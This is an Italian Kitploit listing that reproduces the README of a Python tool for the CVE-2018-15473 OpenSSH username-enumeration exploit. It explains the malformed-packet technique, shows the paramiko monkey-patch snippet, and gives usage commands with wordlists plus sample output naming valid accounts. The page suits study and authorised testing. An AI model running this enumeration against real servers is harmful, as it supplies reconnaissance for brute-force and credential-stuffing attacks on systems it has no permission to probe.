Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Threaded-CVE-2018-15473 — Una reimplementazione in Python 3 del classico exploit CVE-2018-15473 per l'enumerazione degli utenti OpenSSH, estesa con multi-threading, supporto per wordlist, rilevamento automatico delle vulnerabilità e patching dell'exploit thread-safe. | Kitploit
Strumenti/GitHubGitHub/k3rn3l-32/threaded-cve-2018-15473
RicognizioneAnalisi delle VulnerabilitàExploitRaccolta InformazioniPenetration TestingApprendimento e Formazione
GitHubk3rn3l-32/threaded-cve-2018-15473

Threaded-CVE-2018-15473

Una reimplementazione in Python 3 del classico exploit CVE-2018-15473 per l'enumerazione degli utenti OpenSSH, estesa con multi-threading, supporto per wordlist, rilevamento automatico delle vulnerabilità e patching dell'exploit thread-safe.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
24 mesi faNon ancora revisionato

CVE-2018-15473 — Strumento di Enumerazione Nomi Utente SSH

Una reimplementazione in Python 3 del classico exploit di enumerazione utenti OpenSSH CVE-2018-15473, estesa con multi-threading, supporto per wordlist, rilevamento automatico delle vulnerabilità e patching dell'exploit thread-safe.


Sommario

  • Informazioni sulla vulnerabilità
  • Come funziona l'exploit
  • Caratteristiche
  • Requisiti
  • Installazione
  • Utilizzo
  • Esempi
  • Crediti e Ricerca Originale
  • Disclaimer

Informazioni sulla vulnerabilità

CVE-2018-15473 è una vulnerabilità di enumerazione utenti che colpisce le versioni di OpenSSH dalla 2.3 alla 7.7.

La vulnerabilità nasce da una sottile differenza nel modo in cui il server OpenSSH risponde ai tentativi di autenticazione per nomi utente validi vs non validi. Creando un pacchetto di autenticazione a chiave pubblica malformato, un attaccante può osservare il comportamento del server e determinare se un determinato nome utente esiste sul sistema — senza conoscere la password dell'utente.

Queste informazioni possono rappresentare un primo passo critico in un attacco mirato di forza bruta o credential stuffing.

DettaglioValore
CVE IDCVE-2018-15473
Versioni AffetteOpenSSH 2.3 – 7.7
Punteggio CVSS5.3 (Medio)

Come funziona l'exploit

Il flusso di autenticazione di OpenSSH normalmente funziona così:

root@kitploit:~
Client → MSG_SERVICE_REQUEST  → Server
Client ← MSG_SERVICE_ACCEPT   ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server

L'exploit abusa della fase MSG_SERVICE_ACCEPT. Quando il server invia un MSG_SERVICE_ACCEPT, il client dovrebbe aggiungere un campo booleano al successivo pacchetto MSG_USERAUTH_REQUEST. Correggendo il metodo Message.add_boolean di paramiko trasformandolo in un no-op, lo strumento invia un pacchetto di autenticazione malformato/accorciato.

Il server OpenSSH si comporta quindi diversamente a seconda che il nome utente esista o meno:

  • Nome utente non valido → Il server rifiuta immediatamente con MSG_USERAUTH_FAILURE (il nome utente non esiste, non ha senso controllare la chiave)
  • Nome utente valido → Il server solleva un'eccezione AuthenticationException (ha tentato di verificare la chiave, confermando che l'utente esiste)

Questo strumento intercetta queste due risposte tramite gestori paramiko modificati (_parse_userauth_failure e _parse_service_accept) e classifica ogni nome utente di conseguenza.

Correzione della sicurezza dei thread

Il PoC originale modifica add_boolean permanentemente, causando una condizione di competizione quando più thread vengono eseguiti simultaneamente — i thread interferiscono con le negoziazioni reciproche, producendo falsi errori di SSH negotiation failed. Questa reimplementazione avvolge la modifica in un threading.Lock(), rendendo lo scambio atomico:

root@kitploit:~
with _patch_lock:
    real_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = _add_boolean_noop
    try:
        result = original_service_accept(auth_handler, m)
    finally:
        paramiko.message.Message.add_boolean = real_add_boolean

Caratteristiche

  • Controllo singolo nome utente — modalità rapida one-shot
  • Modalità wordlist — enumerazione di un elenco completo di nomi utente
  • Multi-thread — numero di thread configurabile, tutto thread-safe
  • Rilevamento automatico delle vulnerabilità — utilizza nmap per verificare che il target stia eseguendo una versione vulnerabile di OpenSSH prima della scansione
  • Deduplicazione — rimuove automaticamente i nomi utente duplicati dalle wordlist
  • Output pulito — risultati con codice colore e report riassuntivo

Requisiti

  • Python 3.8+
  • paramiko
  • python-nmap
  • nmap (binario di sistema, deve essere installato)

Installazione

root@kitploit:~
git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473

# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate

# Install dependencies
pip install paramiko python-nmap

Assicurati che nmap sia installato sul tuo sistema:

root@kitploit:~
# Debian/Ubuntu/Kali
sudo apt install nmap

Utilizzo

root@kitploit:~
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target

positional arguments:
  target                Target IP address

options:
  -h, --help            show this help message and exit
  -p, --port PORT       SSH port (default: 22)
  -t, --threads THREADS Threads for wordlist mode (default: 3)
  -u USERNAME           Single username to check
  -U WORDLIST           Path to wordlist file

Esempi

Controllo di un singolo nome utente:

root@kitploit:~
python main.py 192.168.1.10 -u root

Enumerazione di una wordlist con thread predefiniti:

root@kitploit:~
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt

Enumerazione con numero di thread e porta personalizzati:

root@kitploit:~
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222

Esempio di output:

root@kitploit:~
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473

[*] Loaded   : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target   : 192.168.56.109:22
[*] Threads  : 10

  [+] root     <- VALID
  [+] service  <- VALID
  [-] guest
  [-] admin
  ...

─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked  : 12 usernames
[*] Threads  : 10

[+] Valid    (2)  : ['root', 'service']
[-] Invalid  (8)
[!] Errors   (2)  : ['postgres', 'temp']

Crediti e Ricerca Originale

Questo strumento è una reimplementazione in Python 3 e un'estensione del proof-of-concept originale. Il pieno credito per la scoperta e la documentazione di questa vulnerabilità va ai ricercatori originali:

Exploit originale: https://leapsecurity.io

Questa reimplementazione aggiunge:

  • Compatibilità con Python 3 (l'originale era in Python 2)
  • Patching dell'exploit thread-safe (correzione della condizione di competizione)
  • Modalità wordlist con multi-threading
  • Rilevamento automatico delle vulnerabilità basato su nmap
  • Report dei risultati strutturati

Disclaimer

Questo strumento è destinato esclusivamente a scopi educativi e test di penetrazione autorizzati.
Utilizzare questo strumento contro sistemi di cui non si è proprietari o per i quali non si ha esplicita autorizzazione scritta è illegale e non etico.
L'autore non si assume alcuna responsabilità per qualsiasi uso improprio di questo software.
Pratica sempre la divulgazione responsabile.

Scarica lo strumento
TipoDivulgazione di Informazioni / Enumerazione Utenti
Autenticazione RichiestaNo
Ruolo
Nome / Handle
Autore PoC OriginaleLeap Security (@LeapSecurity)
Ricerca sulla VulnerabilitàMatthew Daley
Ricerca sulla VulnerabilitàJustin Gardner
Ricerca sulla VulnerabilitàLee David Painter